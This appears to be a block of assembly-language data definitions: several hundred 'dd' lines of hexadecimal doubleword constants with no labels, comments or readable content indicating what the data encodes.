dd 0FF9F71D4h, 1D785C52h, 0B37F9701h, 0BD312B4Eh, 400FAAE7h
dd 4C6FC8A0h, 0B2483C85h, 7E444500h, 9FB381A3h, 0CC767900h
dd 111C7FF8h, 4FF000CEh, 26334B9h, 0DE00F13Fh, 4CC7DB36h
dd 0E0C483h, 429F8BE3h, 7A4085C5h, 0DB695000h, 2B6B8A72h
dd 5D4C0F54h, 6480ED17h, 1FF88019h, 0DC40500h, 85AC0BF3h
dd 0EE6F2E8Bh, 94D10074h, 0F691DC7Dh, 31EC8800h, 0F3FBDBD3h
dd 2D7100E3h, 0B3596820h, 93121DC8h, 0A84083A1h, 1553F3D7h
dd 28692698h, 0DE5880A0h, 6A9B5659h, 40D57400h, 0CE7C95F6h
dd 5B621FB3h, 499E00DFh, 3B9FA81Ah, 0A09CF400h, 0D4C7C0E6h
dd 185100F0h, 0DC3D556Dh, 112CB338h, 0EE004A43h, 8F6915D8h
dd 364D00D1h, 0A80F0370h, 0F65065D9h, 0E7005AFCh, 7A1C1D50h
dd 1EC7C809h, 4E801131h, 0A403BE2h, 8D536110h, 71F76F00h
dd 0FC13B2BCh, 1E4102C6h, 24F59893h, 0E8B16C40h, 0B412D600h
dd 73ACE9EAh, 0C6421F31h, 26DF5ECFh, 0AE7E0168h, 0E8B7C3D8h
dd 0F8191B75h, 488861B6h, 71698AECh, 215305FCh, 9095CEC7h
dd 43D945FCh, 1FB66500h, 0A475C5C4h, 53E40657h, 986DB558h
dd 0DBA6041Dh, 545135C0h, 0B9F927h, 1AF3B1EFh, 0BFE679F4h
dd 702B8926h, 0F0A52F04h, 0F88BCAC0h, 0BD9300B4h, 6F5623C3h
dd 0CE03E4EFh, 0C6529539h
dd 8594E03Ch, 5A27347h, 982AB4DEh, 0E2AC82BAh, 0E76A6160h
dd 82030590h, 0D9AC9D81h, 0A657A852h, 7BD67967h, 0C4F303A0h
dd 0AC595FE2h, 701C8DB1h, 3302F9BEh, 0C13DDFDCh, 51BC6815h
dd 87A41F76h, 0B421C02Fh, 5626125Ah, 0E98E7700h, 0D95EA34Fh
dd 3BA7A07h, 237934CFh, 0A0A89E4Bh, 28F8AF33h, 0A35E6900h
dd 9DD8F810h, 0E0FC0E3Dh, 80F84879h, 4492AFF6h, 0EC884Ch
dd 21A3F23Eh, 0F810030Eh, 2C9A001Dh, 8D0DF384h, 5100BFDEh
dd 7D2CE78h, 7E208932h, 1326985Eh, 30D97h, 0DAAD2891h
dd 835953BDh, 9E7C0110h, 7AE706BEh, 0D76C0h, 7E2AEAA5h
dd 9FF1DBC2h, 47286260h, 0F98013h, 60FA639Dh, 0FB96C32Eh
dd 3A0E85EAh, 404DA21Eh, 5B74760Dh, 7A91184Ch, 8625BA42h
dd 0E5037298h, 551D3684h, 8ECA00Eh, 6F010BCDh, 0E8800627h
dd 0D22B8B9Bh, 49860500h, 9EDC4B6Ah, 51F700D3h, 1ABACF6Bh
dd 9200C0C7h, 3E8DBF97h, 77ACF44Ah, 0A09067h, 23C61165h
dd 3C384148h, 0F703AE77h, 0D26B12DCh, 49C0EF8Fh, 766A6F43h
dd 0A5F80030h, 0D121950Dh, 39008E3Fh, 0C5D01EA3h, 58B624h
dd 0E2C11FFDh, 840AA42Bh, 38205C4Fh, 717A3765h, 68BB0047h
dd 0F940713Ah, 0D4259C42h, 20C007Fh, 1CED91Ch, 0E8810186h
dd 240A3769h, 4007E94h, 0F857DB51h, 3D12A75Bh, 0ED0024EFh
dd 0D5C8FBB1h, 0CB85815h, 42387301h, 0C09CBFFDh, 2C3120h
dd 7025F5A0h, 88F378E6h, 0ED2632F2h, 3A00BC58h, 0CCE18C92h
dd 9660083h, 0F36B55Bh, 557FF92Ch, 80A4DE3Eh, 7AD334A8h
dd 31FCB6h, 0C138B05Dh, 761C32FAh, 94AFFB2Ch, 268E1700h
dd 48B5DACBh, 5F00A856h, 0E1F43A2Dh, 0DB014166h, 360EFCEh
dd 88409528h, 7D84CECh, 0E9FF085Ch, 97ED614Ah, 12CAF4A5h
dd 6628491Eh, 283E6164h, 1400922Dh, 0CF8C8DB1h, 0BA68BDA1h
dd 64B01CB4h, 621CC913h, 0A9564CC0h, 48C2B600h, 0F8E930C9h
dd 63A2002Ah, 0E246E118h, 0CC909ED3h, 685481E4h, 4900C1BCh
dd 2FDB5A36h, 58AD665Eh, 0C059B015h, 0C751FA00h, 0B04EF838h
dd 0FF6B2A00h, 16390453h, 86440059h, 34C33D95h, 0F75CF831h
dd 0F48A00C8h, 0C52FAEDFh, 471E00F6h, 0ACD9CAB5h, 601CE31Fh
dd 0F2078CD8h, 0E09F15D6h, 50BC764Bh, 3B2900CEh, 893EC2B9h
dd 4100402Ah, 5A57A037h, 306710h, 2BCDBEDEh, 9B84F959h
dd 7F09FC9Ch, 219F005Eh, 5CB704C6h, 0EE00C4BAh, 0C831EB4h
dd 4BE09E77h, 14E2D300h, 204DC80Ah, 16600B7h, 0C303E432h
dd 9500C6AFh, 0AC101CA6h, 94F57B48h, 98DF009Ch, 204A18DBh
dd 0A343A900h, 24F9EEECh, 97FC01D1h, 74B84D5Bh, 0F37970D4h
dd 80785F3Fh, 9E734FA5h, 1FDC8410h, 80C02CFDh, 3CA246DEh
dd 7A003FE1h, 3EA7AF61h, 40A51Bh, 22144D86h, 0DA391023h
dd 8201504h, 92C0C2D0h, 25234ACh, 0B51CCA11h, 83801D23h
dd 0FC1B94D2h, 0CD028A2Ch, 0ACB78738h, 79F9D8h, 0E97ADA08h
dd 7BF7EC98h, 1243048Bh, 8127CCF5h, 0E7F2C590h, 7F175A8h
dd 3A0029E4h, 3F86EBE9h, 0F1FF40Bh, 0B4E225A7h, 1990FE0h
dd 0AA4C6F83h, 58BE3DD8h, 45330208h, 487F8E37h, 73952Ch
dd 0ED99CA6Dh, 0F3089A8Fh, 0B81FD14Ah, 0F0DE740h, 7B9BF2C4h
dd 25BF167Ch, 0C0981F77h, 0E03279A4h, 0F8044F87h, 1050E92Fh
dd 0A143DD0Fh, 33B82B41h, 2200B3D2h, 25CF59B7h, 29D08h
dd 0D396D1FAh, 6A236415h, 0A269CD00h, 2F39A97Ah, 63B10B79h
dd 0B440D76Ch, 44941268h, 1B720240h, 57C802E4h, 6D9E1C35h
dd 0FAB8FC80h, 0F92C3F48h, 0FC00304Eh, 38BA1E25h, 0CA3A0169h
dd 0ACB219F5h, 0B6728242h, 60636CC4h, 3FBBC2h, 6850B91Dh
dd 0D4B04B15h, 65D2200h, 21A6C404h, 0FD7355h, 0A02D261Ch
dd 0A858A1D3h, 0C967521Ch, 0B216BEC2h, 77450DCh, 0CF735066h
dd 0B720EF13h, 78D96F57h, 0CE528500h, 45EBDE56h, 0DF6D00BFh
dd 198A2EB1h, 5C0BC946h, 0AF808312h, 0ED12148h, 0D07066ECh
dd 0F2FE05h, 53EEBA85h, 96D6FD09h, 0BCE34Dh, 0ACE7FF36h
dd 349E21Eh, 33CC4701h, 2100B942h, 0FD7C37B0h, 87D3E0h
dd 980A9D6Ch, 0E9019591h, 0DAADC00h, 0FEB31F3Fh, 24EE0076h
dd 2555CE7Dh, 0EA3D34C0h, 50CF833Ah, 906836D1h, 0D75688h
dd 0AD077ECAh, 0FC8505CBh, 0B239B800h, 0E728520Dh, 2A9203DEh
dd 0BB333BF3h, 742DB0C8h, 670A6501h, 5E3DD223h, 0AA31C440h
dd 3FE8006Dh, 130273E4h, 0FA0389CAh, 0D47859E5h, 884FD038h
dd 38AA4CF3h, 0ACF0D007h, 0D60FC051h, 0E7F23FEh, 0C688604h
dd 8A8AA67h, 0A156007Fh, 4502F569h, 190F5193h, 0CEF20134h
dd 97E06008h, 0F246C37Ch, 1CB671h, 364026EDh, 6E39DC2Ah
dd 0E7CF001Bh, 4B895F97h, 0F3A8C507h, 85820C14h, 0AC0713F4h
dd 2A9C2658h, 0CCFD9B40h, 8BEA01D1h, 3254CF33h, 1DF030C6h
dd 99D7AA00h, 8FE0B763h, 6245124Dh, 2DC0079Ah, 0C5E8703Eh
dd 91090E57h, 7D4E05Dh, 9E37B060h, 7898A983h, 0C9DF00A0h
dd 23496234h, 0B5075154h, 67D35B13h, 0B36829E0h, 0CFC11D2Eh
dd 9A80800Eh, 0EA0D4EDAh, 77832200h, 7D8674FAh, 3348C0D7h
dd 694504B1h, 611844A0h, 41FC74Ah, 0B5FA7800h, 14E8EAEDh
dd 147FABB6h, 654ED000h, 745BA22Ch, 47683C00h, 0CF446129h
dd 6F603A97h, 6480D1BCh, 6DB70C4Bh, 0B8035DC6h, 55011E72h
dd 0D48E9857h, 989900DDh, 89062567h, 797602A2h, 0D2E3C307h
dd 0B0F0AD4Ah, 1413B30h, 542963A7h, 0F4428BF5h, 0C807C283h
dd 0EEF3F739h, 40B501E2h, 50347Ch, 627152C1h, 0FB38280Eh
dd 0A777200h, 0E8AB4CF8h, 3A740FFEh, 0BA00C927h, 0F44F751Fh
dd 722ADA00h, 0BFC589EAh, 8D2F0053h, 0AEFFC910h, 311E1F44h
dd 30801886h, 9BD5FA38h, 0AC2D01F3h, 32D62A5Ah, 0CC8C401Fh
dd 3E0054C4h, 0B5CACFF9h, 297374h, 528FDB4h, 1982AB75h
dd 5678A007h, 37670647h, 0D00408D5h, 3C06441h, 502C71DFh
dd 74BC93h, 0C190E6D7h, 246F7DA4h, 0A3320500h, 0E37138D1h
dd 955A70F0h, 7217F083h, 0ACAF07F8h, 0A2D0C000h, 2EA4C8DAh
dd 0EE55E8D3h, 59190008h, 0F15148Ah, 410070ECh, 7BA482B4h
dd 0F0A8A60Dh, 9213002Fh, 405DAE4Ch, 25F6D0BBh, 0AA367E00h
dd 0F88299DBh, 0FE1800D3h, 0A1DAC120h, 8BFEA88Dh, 0A223B402h
dd 0D0C347F2h, 91190068h, 7807660Eh, 0DD0FB1C1h, 6058A85Ch
dd 0AB867B51h, 0C57005Ah, 24541950h, 0C200083Ah, 6C8CDBF7h
dd 1C90A8B0h, 325AAEh, 2F2A7176h, 3300E538h, 0D99BB321h
dd 14EB3Ch, 9D997808h, 42FA82E6h, 0F1742400h, 0D3ABBAB1h
dd 3D060E0Bh, 28B89450h, 0E88893E3h, 0D6338873h, 89B37C88h
dd 9C24CA69h, 1250D021h, 0F5161078h, 40F48088h, 5A2032F2h
dd 21444208h, 0F3D4086Dh, 0D51BA600h, 11A260h, 4FD95049h
dd 0CDA9F0DAh, 0C03F7C07h, 201FDB21h, 29D0BF13h, 8F2A00B2h
dd 0C743E46Dh, 17005BCAh, 0DA247CE2h, 8C8234h, 0DE0275D7h
dd 0B864F115h, 0D4832A00h, 2EF2BA9Eh, 6D96001Dh, 16342231h
dd 253C7607h, 1420E80h, 0F4306087h, 0E0224h, 0F1F7CF23h
dd 4CD0933Dh, 90909270h, 0FA7D5107h, 5CF01F50h, 25E2A5h
dd 3B76625Dh, 0D74FC992h, 3478FF00h, 0C1E75973h, 626A0344h
dd 70A1BBEBh, 0D87674B8h, 0E4281A1Dh, 673CBC80h, 327C735h
dd 7E994333h, 81D51671h, 0CCAC83C7h, 49000389h, 0D91530F2h
dd 52ECB6h, 1E33DA0Ah
dd 48F5FD5Eh, 13E8A907h, 0E5A04931h, 0CB26B9h, 298B56F1h
dd 0B08C4127h, 0CE1C1200h, 408DEB7Bh, 73610760h, 0E0936C90h
dd 212DB104h, 7C006798h, 455C572Eh, 76E40F6Dh, 0C9261EA0h
dd 0BF790049h, 0B1245572h, 0BE000D79h, 586AC3F1h, 0E6AE4Fh
dd 37D8EC60h, 1B5EFDF4h, 6F74E07h, 0A690D595h, 32CAEAh
dd 896FAF90h, 6A7499C0h, 2FC15A00h, 0D45B0711h, 0E060098h
dd 0AEB4D03Ah, 0A00E0D8Dh, 0A0915F92h, 0DB7659D6h, 0E9AD00FBh
dd 1FB870C8h, 0C9009F90h, 8A870624h, 760C71h, 3BF88F66h
dd 62845A21h, 0BDB0FB5Bh, 263A058Eh, 2743FD9h, 0BA9190F4h
dd 0FE34F8E0h, 0A30C790Fh, 54204032h, 45B608h, 1B5CA75Dh
dd 7B376273h, 0F4CDB10Fh, 780DC0CAh, 318A9B5Fh, 0EB884C69h
dd 8E86D0A0h, 5D00CF78h, 0C53FCCAEh, 1CEC42h, 55917611h
dd 7FEBFCA7h, 0F1000EF0h, 28548A31h, 7294B4F2h, 0A6F262h
dd 9706BB7Dh, 6CFD9E86h, 47B8C250h, 758B8F00h, 2AF70161h
dd 9767002Ch, 0CF94301Eh, 0E8240A66h, 4926E296h, 0BECD8A38h
dd 0D806FA2Fh, 1042C1h, 0FE36C856h, 3A44BCBBh, 1AC6E203h
dd 0F841D696h, 3A8B8E6Ah, 78C3EFh, 581E6B25h, 0D6424EDCh
dd 95708162h, 1A3E6031h, 576B0056h, 7ACFD218h, 0BE00CBF1h
dd 8D5C984Fh, 1D73D8EEh, 0C0C8F0FAh, 0A254ED66h, 0C0E1D10h
dd 21A340F4h, 0B009810Eh, 0B3BB9880h, 0AA8A91ADh, 60A63E00h
dd 0A20BE78Eh, 66B7004Bh, 5F204C28h, 5300FFCDh, 7609FCCAh
dd 0B4848Eh, 63CF2AF4h, 59E9F12Eh, 11ACBC03h, 0B84CDA34h
dd 0E283E68h, 0C3E6856Dh, 1C876B80h, 0CF008122h, 0D6DBFBBEh
dd 1C914BB9h, 0AB4CB1Eh, 0FB8FA45h, 0F56E9759h, 63325BA0h
dd 0BC3E3961h, 4C48A2h, 9AD109EFh, 0E62D19h, 0B994D985h
dd 55883B4Dh, 0F8D5948h, 80D1FBCBh, 12B20118h, 8890A1h
dd 5F402A0Eh, 46D9917Fh, 267C7700h, 8DF43DFDh, 85BD24A6h
dd 12B7247Ch, 1390446Bh, 1E68D060h, 8981C2Dh, 283FC23Dh
dd 0B61DA046h, 2500E928h, 13F1E60Dh, 6D901712h, 0FCF10042h
dd 0C441C160h, 0AB29CA00h, 0E10D47Bh, 0C04300E1h, 1B21B950h
dd 0C300563Ah, 0C8E018FAh, 48B194B5h, 0C13F746Dh, 9F80BD38h
dd 18CFE2DBh, 3B00D382h, 750B9B38h, 1F65230Ch, 0D81F79h
dd 9C3D4520h, 0BE0FAF5Fh, 800FF7C8h, 97087ADDh, 579600D4h
dd 1760273h, 43A1FF4h, 4ABE3F61h, 140318FCh, 57CC017h
dd 0AD4BF1B8h, 0B5AE3D00h, 1BE65026h, 3B4E0008h, 76443825h
dd 211C606Dh, 17051E46h, 1CC26E45h, 6601E005h, 0E7D20081h
dd 0DB7FB93Dh, 1460F0D1h, 682C30D0h, 15C40046h, 3E097EF8h
dd 0E80095E4h, 0BF4A0421h, 90A22D14h, 0B8270004h, 0DF96B630h
dd 495CFACAh, 40E0002Ch, 74BA88C8h, 3EF900F5h, 0B7BBEC18h
dd 23001AD7h, 0FB8BFFF7h, 1F69215Fh, 4052E20Eh, 0A8653C1Eh
dd 90EC579Eh, 0B42A3600h, 30CDFE05h, 678E00C5h, 0A8D7C753h
dd 5469595Ch, 4580040h, 27BF97h, 4C4F7DBCh, 31810BE3h
dd 0A0F25207h, 0BDC00F94h, 0FA66B4Bh, 0A523B293h, 557CDE63h
dd 4800F2BBh, 0E7ECE577h, 704758Dh, 6F250E9Ah, 0B99F003h
dd 0F40EDC98h, 60834EBAh, 0F3227639h, 0F16D2693h, 0ECA6E8h
dd 0F712A995h, 8607CA05h, 96910CD1h, 0F5DB3EA0h, 8E7097h
dd 1E8A4B3Ch, 82F2A35Ch, 1100A892h, 1F1618E3h, 0ADBD35h
dd 0F57391AEh, 1994F96Fh, 0BE007B7Ch, 4F310DA4h, 1CF5E05h
dd 7792E64Ah, 0F832F3FAh, 991F3BD8h, 0CB4854CEh, 14A28205h
dd 18C67F4Ch, 0B0745D01h, 1BE47B4Bh, 0EAAF2D8h, 28EC6347h
dd 0DB69488Eh, 9BCEA0A0h, 0CC03066Ch, 0DEED220Bh, 1542C956h
dd 0FA6DC74h, 0CAA7F57h, 0DAC4501h, 16B840CEh, 6007C8Fh
dd 41A5227Ah, 0DE1DE2h, 0DAEC5B76h, 0FE831080h, 0F4F81CFEh
dd 1AA77003h, 8037D5B5h, 3BC4CC2h, 932DB20Bh, 25E0B8C7h
dd 8B046685h, 320FDB18h, 2C78DAC0h, 0F5290080h, 0A4F716D1h
dd 1E16908Bh, 830A38E4h, 3AACF9h, 0CBAC972Bh, 0FCE70944h
dd 1B9C01D4h, 41201F5h, 39343477h, 946E9000h, 21E51C7Ch
dd 4D6214A2h, 0D13C82E2h, 5A0558CCh, 97184F51h, 0D7EA21C4h
dd 675210ADh, 7AAB00C1h, 0E2DE1C5Fh, 1507E05Bh, 0F4220732h
dd 0E7600349h, 0CC0FC0Dh, 5CA30h, 6C85F2E8h, 3CAD919Dh
dd 37239h, 0A14C2219h, 270388Ah, 51AC7189h, 0D048959Bh
dd 5F0A4BB1h, 0BC081373h, 0E78A9C00h, 39103A34h, 2080C4D0h
dd 4B795B4Ah, 2400326Fh, 0D8DE292Fh, 1714782Ah, 377116h
dd 0F06063B4h, 2492E0D3h, 7062F800h, 0C765B574h, 53E656h
dd 48671D7h, 0E8617E12h, 0A5EF6400h, 5A4EBF30h, 24670350h
dd 860993FFh, 2F420BA0h, 145B98C0h, 52A7BFh, 9162ECBh
dd 42F95C5Fh, 12003D79h, 9DD30D23h, 2ECF533h, 4FDBCF3h
dd 5D40494Fh, 8EEC9396h, 822A1B3Fh, 1CDEB890h, 0C57B606Bh
dd 6F550AA1h, 0B883929h, 235FFDh, 13D85184h, 0EB00D00Ah
dd 9E1B76A7h, 0CBA41Eh, 23B7C4F2h, 698CD249h, 4E740B00h
dd 1CD4938Fh, 13C03FC6h, 65E8280h, 0BE72BDBAh, 0F1FDAC00h
dd 0FCEFCC89h, 46DF3C1Eh, 4FCE9A0Fh, 7055F20h, 6A005B14h
dd 0D87912F4h, 2B26E7h, 4C01C01h, 351117ECh, 0A71ED400h
dd 0C3838631h, 449A0068h, 505CC460h, 57E42209h, 9C2D9628h
dd 0EC1DDF03h, 0F851C645h, 0E3897D8h, 8133D9FDh, 6CCA80DEh
dd 535AD305h, 47495200h, 0D4A92CCBh, 912800A1h, 0E4AAD2B0h
dd 1400712Bh, 6DA49ADCh, 1781F16Fh, 7865F34h, 0F0545594h
dd 5436A31h, 0E925CD00h, 0C762C5BDh, 0F2AB007Dh, 0B9A7924Eh
dd 7F7BEA81h, 5C7B48h, 794DBC37h, 585DA9h, 49672722h, 0BF334E0Eh
dd 0D4701504h, 5490CEB0h, 987CD79h, 0C76A5D69h, 80996484h
dd 0B93A267h, 8022BB38h, 10CA120Ch, 0F4D5BAE6h, 0D8B138C3h
dd 7486DC81h, 0CC27E84Fh, 360034A2h, 3C4E87CBh, 0AA2173h
dd 0F39AA4D7h, 0E986768h, 0A2606500h, 0DB06AD36h, 24D000C0h
dd 93078DC5h, 0D8E827FBh, 0E467B100h, 30BB9AC3h, 0FF0F3913h
dd 68927C80h, 0D39542F6h, 627D7713h, 86C6E00h, 506E9336h
dd 741CFDEFh, 47E0047h, 6F72F31Bh, 90261F51h, 0D9006CF7h
dd 6D60F981h, 16630021h, 0C1046411h, 0CF034BD0h, 0FB3F8247h
dd 5DDFD85Ch, 0F03700A4h, 7B3D38E9h, 0DC00225Fh, 11FAFD4Ch
dd 267285h, 0F8D6A762h, 52B64F6Bh, 0DF379E07h, 3CC012EAh
dd 2F25C690h, 0E2D0D76Ah, 0D6A52F00h, 0C948C108h, 0F42A0074h
dd 6AA078D1h, 9A035488h, 15DAD02Eh, 833ED0E8h, 45FA09h
dd 87CCF5F9h, 0B647B5CEh, 0E3071677h, 48E90FB0h, 4ACBE0EFh
dd 0B3B66C0h, 8C3FB92Bh, 0EA85F480h, 96E0D9B3h, 6694680Eh
dd 0A64E3F6h, 6E80FF41h, 0F2FB405h, 0C42AD67Bh, 0B9874B00h
dd 0AC003964h, 0A2F669B1h, 17D2F3h, 2FF9B514h, 0B76BFF4Ch
dd 11393C19h, 0CC4062B6h, 0D116E9h, 573B13D8h, 0A2CE4A33h
dd 0F8EEB900h, 87E9EA3Dh, 0F03C005Eh, 0C48A4CE4h, 0A72E0D6Fh
dd 0E000BAA0h, 0BD87ECE1h, 6351003Eh, 0B3504F83h, 4500D2E4h
dd 6B858AE7h, 0E616642Ch, 1D223EBEh, 615D3980h, 0CAB69146h
dd 106AFC02h, 41939F88h, 1B20B02Eh, 200600AFh, 60D4613Dh
dd 4002698h, 57B70DE1h, 1D6BD93Eh, 8056ADBAh, 497274D3h
dd 0AF0181E5h, 0F0867C4Bh, 5420CE79h, 0E66307B7h, 0B0B10F0Ah
dd 0A130FB56h
dd 7D8C9C00h, 800B65CAh, 0F3D4E502h, 7FDA011Bh, 0A3166133h
dd 0C08FD45Dh, 6B0004EAh, 0E817AD2h, 5C555B10h, 3C00F9D7h
dd 92DA9398h, 0E8002B71h, 6AF708A5h, 166C51h, 3E91A29Fh
dd 3FCFBC8h, 0D5002EFEh, 1E8E498Ch, 4C5C75BAh, 0BE002F14h
dd 335FC973h, 91006D45h, 9D19E5DDh, 1E98A52Bh, 700B83h
dd 28BC299Bh, 0CA39F399h, 2C550DAh, 43B4B204h, 8C87C442h
dd 0BE3832h, 39EA84AFh, 9FC33F00h, 0EE0761C1h, 0B1130068h
dd 6383A5BEh, 8400C731h, 60DABCBAh, 9D5A23h, 0FE6B9599h
dd 4929E4FCh, 0FA1EE301h, 750A103Fh, 3FC68AC8h, 5898E0D4h
dd 153E305Eh, 28AA4201h, 0C5AE8411h, 480BE3F4h, 9803C8B0h
dd 0A47F1F48h, 30AF32A1h, 7100A976h, 4DDD8C42h, 7876E269h
dd 0AA0500B5h, 65D0468Bh, 5DE83E22h, 2A732416h, 48006512h
dd 0E4BCA338h, 0B64E1DEAh, 1EAC2836h, 1719FA4h, 4139FF98h
dd 0DAE0FA02h, 261DD6A1h, 0EEC03890h, 219C9FBBh, 0AC1F0045h
dd 848FDE6Ah, 180AA6CEh, 9C3D9640h, 24CC2181h, 25F4C512h
dd 6F0600FCh, 0AA2F2634h, 0F1316D55h, 221D8E13h, 0F6E45BEDh
dd 5C83006Ch, 0BB688994h, 717ADAE0h, 0FFA0A100h, 46228A47h
dd 61693BB6h, 82100F80h, 1E2B9CB9h, 0D6D092C0h, 7B7FAC99h
dd 0F8451C20h, 79500DDh, 8CCF70B9h, 5C7CAA16h, 0E7AD4B01h
dd 0BC409D2Eh, 7F3C68F9h, 70600045h, 36EA0C61h, 4006EB4h
dd 0FF2EB5Dh, 75C44E1h, 0D64AA617h, 2C4CA185h, 8F5DF840h
dd 0D7AD7800h, 7E31F1F0h, 11EC001Bh, 2C4B04E5h, 6B00E488h
dd 0D7A5FFFDh, 1EB81797h, 0C36AEE94h, 6E415B79h, 0D849B690h
dd 0DCED9D1Eh, 0D6E51E00h, 9822F3h, 0D58DFF42h, 9806CE9h
dd 118AEE00h, 8BBFCCBBh, 4D5F385Ch, 9A10BE30h, 0F150126Fh
dd 7D1CC0C0h, 3C40A8E1h, 3EDA58DEh, 0A0D300BFh, 16A60B43h
dd 0EA001B99h, 8BD72B87h, 0E3B5D72h, 10AE01E7h, 45B25A41h
dd 0D0DBC9ADh, 553028A0h, 0FDD0126Bh, 0FB2707C2h, 3062BD5Dh
dd 3642F2CDh, 0C0464E1Ch, 0E97B007Eh, 78C37326h, 3AD671F4h
dd 0C2005417h, 93F29425h, 0A8C6C0E9h, 0F0B10C6Dh, 91A80E89h
dd 0C31ECD5Ch, 0EB108F98h, 0F058C3E9h, 5301C675h, 7E6CF725h
dd 1BD8E31Fh, 0DEB1E59h, 31C28523h, 49378063h, 37506D52h
dd 0F1006248h, 0FE3C5588h, 6A312D7h, 98B0DA32h, 0D03B204Dh
dd 0F78B0970h, 0AE5F006Eh, 18C5D65Eh, 48926F63h, 40C0D945h
dd 23F498F2h, 0DAEE1EE6h, 8B5E40D7h, 2D9D84D0h, 0F200D1F4h
dd 8A7DEF90h, 3714F19h, 0ADABBEA9h, 81807C74h, 0A01201Bh
dd 3A6798CEh, 5AFC0CA0h, 5945000Eh, 0EC893160h, 0EA003E2Bh
dd 9B2C6F7Ah, 1E9E495Ch, 0C00FAFC0h, 0F38E1AE3h, 361F5281h
dd 0CB402DBFh, 7BFA6545h, 0E72F2510h, 470742FCh, 0E10CA76h
dd 7F2D977Eh, 9B551F93h, 73078038h, 530B7D4Bh, 4E9EAC00h
dd 1568CFA7h, 3C58399Dh, 0F3CBF200h, 4D63B6DEh, 0ECC03D01h
dd 5AB083CEh, 0C41F80C3h, 392900EDh, 2BD3F6ABh, 0FB7C5444h
dd 2C411616h, 1558A200h, 0E63E218Fh, 3176002Bh, 33754B66h
dd 4D1D5B83h, 5C1D85E9h, 72B924Bh, 66105F7Ch, 37F5759h
dd 0AFFFDF0Ah, 5006AB98h, 0FC7AEE75h, 0B9490868h, 0B60311EDh
dd 102B91ACh, 0C18EB770h, 0AA616633h, 0B85EDh, 3C5F7D69h
dd 0C7235h, 0B0541B75h, 1A263AF7h, 5B908000h, 0D71F8D33h
dd 7B441D0Ch, 162BCC69h, 0A1030560h, 0F3558E3Bh, 1539D8FCh
dd 1678CE08h, 0F6EF0032h, 0B4AC2ECh, 0D74DDB1Eh, 0C94F8C00h
dd 1CCB5D14h, 75997EBh, 0D23820B7h, 7340AD30h, 0AA60E635h
dd 9E33ABD8h, 6BB101E4h, 2AA420D3h, 0ECCFE472h, 0CCDC951Ch
dd 3A331B80h, 736840h, 39A5654Fh, 139D9EA8h, 4EC22200h
dd 3D32AE07h, 0C8A60014h, 0F7C63868h, 531EFA5Ah, 0E9876B34h
dd 500CBCFh, 484E91DDh, 1A1ECBA9h, 0BC485DAAh, 759E8200h
dd 9978D67Ch, 0E6504703h, 0C02AAB2Ch, 0FD7612h, 0D0E12F6Ah
dd 31204E43h, 4D65DA00h, 42E84AB1h, 0AC6300ADh, 13792F06h
dd 51079B8Eh, 0BE3123ABh, 0E848C160h, 0DCA801CFh, 9EC9764Fh
dd 7BBBF066h, 2074CA00h, 0CDCF05B9h, 0E02C0509h, 2C52195Dh
dd 0BF7A5A20h, 54DD0386h, 0F0492BEDh, 0B2413000h, 0FAC099E4h
dd 0C8B80E09h, 378C0A3Fh, 0FD1F8721h, 803F82E4h, 0AD10D5C4h
dd 8B3C0A28h, 9D48F800h, 0B84C3272h, 18D0606Eh, 6683F061h
dd 764BECB0h, 0A50E7FFCh, 0B080307Fh, 60F06353h, 0C40A6400h
dd 7DDB804Dh, 3A372843h, 184CF288h, 481B2BA2h, 71001123h
dd 0D970B766h, 3A1E1F50h, 0B9205F8Ah, 7900237Dh, 9D0B2A6Bh
dd 0B2B66Fh, 0A7CD4812h, 2D31A54Ch, 9853D030h, 0ACF054DBh
dd 0E48F0480h, 38E2C066h, 8DA6007Ch, 0E12B5139h, 0E8A836F4h
dd 71604D94h, 0C6E00CE9h, 0AE042A74h, 0C7AC00CCh, 613DCE19h
dd 4B2A238Eh, 50F0D05Bh, 6D72B90Eh, 479F80F9h, 0E88D5E25h
dd 2024608Ch, 4DF873E6h, 0B4765F0Ch, 18708864h, 71282D56h
dd 0EB5C48ABh, 0D1861FD9h, 9FBA5A47h, 0DE6F2EA0h, 25570152h
dd 2A1CC738h, 5E798C79h, 0B6815Fh, 524BC12Eh, 76DF1DA0h
dd 0D1569902h, 0A050434Ah, 706731A8h, 27DE1ECBh, 5A280AF6h
dd 729C8E60h, 62C1F824h, 1CEB26B1h, 0FC66FA06h, 17514BD4h
dd 0BE9962h, 453BEE4Dh, 88125A1Ah, 98004B91h, 0FC9BC09Ch
dd 0CFEB3D28h, 6079B812h, 990A7D24h, 304E7610h, 9BF82C4h
dd 0EA8E805Dh, 14D6Ah, 69BE8CF7h, 40D674ECh, 60F281C0h
dd 37A128Bh, 2F5A566h, 55E0C038h, 4628BB09h, 6746D453h
dd 7172B502h, 593199F8h, 70F03211h, 0EF007912h, 0D610ABD7h
dd 397BDFCDh, 0B0899F3Eh, 34202717h, 34249661h, 924ED1C0h
dd 5BBA709h, 2CCC7001h, 12BC43B8h, 25D044C8h, 3F00C160h
dd 0BC56530Fh, 1FD3141Ch, 125B7B63h, 492C00CDh, 2438C11h
dd 62D0DC00h, 0C27B7438h, 0D16241Eh, 22D7809Ch, 6073EA3Dh
dd 806B280Fh, 32F1C0EFh, 5CE05544h, 0B80031E2h, 73A2131Dh
dd 0A0606063h, 1FBC69E1h, 1FC54843h, 16A8B00h, 28DDAF3h
dd 5F394105h, 0B022D4FEh, 0A917C0EAh, 1D00037h, 7D1C9938h
dd 0A400C5DBh, 5E6B1DBAh, 0C795D673h, 60ACF431h, 0C1E1A7B7h
dd 0BA06171Fh, 89437700h, 93C83E3h, 518D68D5h, 0B111A01Dh
dd 43FC1B87h, 9BF81D03h, 0A467C1B6h, 9EA11321h, 109EAE3Fh
dd 80F61E4Eh, 0F54D7BFh, 400D9C7Eh, 313BD5B8h, 0A114040h
dd 6E7610BDh, 527AC427h, 0A61610Eh, 22363197h, 5F4903A0h
dd 1119D8h, 0BC906111h, 6A34D3EDh, 0F5E5AF00h, 0C468726Ch
dd 70330584h, 80329255h, 0C7AECB6Bh, 0A59A8500h, 8C17D191h
dd 2A350B29h, 0D1036659h, 4C926D8Bh, 95E49280h, 0FC3069ABh
dd 0FD4D1892h, 0D4D60055h, 0EEB896F6h, 5A03AC19h, 44EB3377h
dd 75628037h, 0A8B00BEh, 59BA1CF3h, 0FC006E8Eh, 4AA29F35h
dd 556F29h, 4C74A448h, 8375EED0h, 96A0DE16h, 0C0B2D40Fh
dd 0E78B9370h, 515C1BF0h, 4DC0C055h, 73C541Fh, 277886CCh
dd 600894D4h, 52932145h, 0FB75B253h, 10B1AE01h, 0A221EB8Ch
